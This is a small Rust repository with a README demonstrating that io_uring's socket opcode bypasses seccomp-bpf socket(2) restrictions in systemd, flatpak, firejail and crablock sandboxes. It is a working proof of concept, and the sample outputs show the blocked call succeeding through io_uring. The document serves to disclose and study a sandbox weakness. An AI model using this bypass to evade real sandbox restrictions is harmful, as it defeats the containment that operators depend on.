Bypass seccomp-bpf based `socket(2)` restrictions with `io_uring`

.gitignore

/target

README.md

Bypass seccomp-bpf based socket(2) restrictions with io_uring

Since Linux 5.19 (Aug 2022) io_uring can be used to create sockets just like socket(2) does 1 2. This can be used to create sockets when io_uring is allowed but the socket syscall is blocked by a seccomp filter. io_uring is allowed by default but can be restricted/disabled with an sysctl knob since Linux 6.6 3.

Some architectures like x86-32 do not implement socket(2) as an syscall. Socket related syscalls are multiplex through socketcall(2) and can not be filtered with seccomp-bpf. There is nothing to bypass then.

systemd RestrictAddressFamilies=

$ cargo build --release
$ systemd-run --user -q -t -p "RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6 AF_NETLINK" ./target/release/io_uring_socket
socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): Address family not supported by protocol (os error 97)
io_uring:socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): 4

io_uring is allowed with SystemCallFilter=@system-service.

flatpak

$ cargo build --release
$ flatpak run --command=./target/release/io_uring_socket --filesystem=$PWD com.github.tchx84.Flatseal
socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): Address family not supported by protocol (os error 97)
io_uring:socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): 4

firejail --protocol

$ cargo build --release
$ firejail --quiet --noprofile --protocol=unix,inet,inet6,netlink ./target/release/io_uring_socket
socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): Operation not supported (os error 95)
io_uring:socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): 4

crablock --seccomp-restrict-socket

$ cargo build --release
$ crablock --seccomp-restrict-socket "AF_UNIX,,;AF_INET,,;AF_INET6,,;AF_NETLINK,," -- ./target/release/io_uring_socket
socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): Permission denied (os error 13)
io_uring:socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): 4

---

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Cargo.toml

[package]
name = "io_uring_socket"
version = "0.1.0"
edition = "2024"
license = "0BSD"

[[bin]]
name = "io_uring_socket"
path = "./main.rs"

[dependencies]
libc = "0.2"
rustix = "1.0.0"
rustix-uring = "0.6"

main.rs

// SPDX-License-Identifier: 0BSD

/*
 * Copyright © 2025 rusty-snake
 *
 * Permission to use, copy, modify, and/or distribute this software for any
 * purpose with or without fee is hereby granted.
 *
 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
 * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
 * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
 * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
 * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
 * PERFORMANCE OF THIS SOFTWARE.
 */

use rustix_uring::{IoUring, opcode};

fn main() {
    /* Check whether regular `man:socket(2)` is restricted.
     * AF_VSOCK is unlikely to be allowed by a seccomp filter but can be created
     * by an unprivileged process. */
    // rustix is missing AddressFamily::VSOCK on target_os = "linux"
    // https://github.com/bytecodealliance/rustix/issues/1454
    //socket_with(AddressFamily::VSOCK, SocketType::STREAM, SocketFlags::CLOEXEC, None)
    let r = unsafe { libc::socket(libc::AF_VSOCK, libc::SOCK_STREAM | libc::SOCK_CLOEXEC, 0) };
    if r == -1 {
        let err = std::io::Error::last_os_error();
        println!("socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): {err}");
    } else {
        println!("socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): {r}");
        let _ = unsafe { libc::close(r) };
    }

    /* Check whether io_uring is restricted/disabled.
     * https://www.kernel.org/doc/html/latest/admin-guide/sysctl/kernel.html#io-uring-disabled
     */
    match std::fs::read_to_string("/proc/sys/kernel/io_uring_disabled").as_deref() {
        Ok("0\n") => (), // io_uring is enabled
        Ok("1\n") => println!("io_uring is restricted on your system."),
        Ok("2\n") => println!("io_uring is disabled on your system."),
        Ok(_) => unreachable!(),
        Err(err) => println!("Failed to check /proc/sys/kernel/io_uring_disabled: {err}"),
    }

    /* Create a new io_uring instance (`man:io_uring_setup(2)`). */
    let mut ring = match IoUring::new(1) {
        Ok(ring) => ring,
        Err(err) => panic!("Failed to create a new io_uring instance: {err}"),
    };

    /* Create an IORING_OP_SOCKET entry, that is equivalent to the socket call we did above. */
    let socket_e =
        opcode::Socket::new(libc::AF_VSOCK, libc::SOCK_STREAM | libc::SOCK_CLOEXEC, 0).build();

    /* Submit it and wait until it finished */
    unsafe { ring.submission().push(&socket_e).unwrap() }
    ring.submit_and_wait(1).unwrap();
    let cqe = ring.completion().next().unwrap();

    match cqe.result() {
        Ok(sock) => println!("io_uring:socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): {sock}"),
        Err(err) => println!("io_uring:socket(AF_VSOCK, SOCK_STREAM | SOCK_CLOEXEC, 0): {err}"),
    }

    // Optional debugging
    // std::process::Command::new("ls")
    //     .arg("-l")
    //     .arg("--color=auto")
    //     .arg(format!("/proc/{}/fd", std::process::id()))
    //     .status()
    //     .unwrap();
    // println!("pid: {}", std::process::id());
    // std::thread::sleep(std::time::Duration::from_secs(60));
}

To learn more about io_uring seccomp bypasses I recommend reading this blog port from @tgross. Also to highlight that @gcampax realised this problem back in November 2022. IORING_OP_SOCKET was merged into mainline in April 2022 and released to stable end July 2022.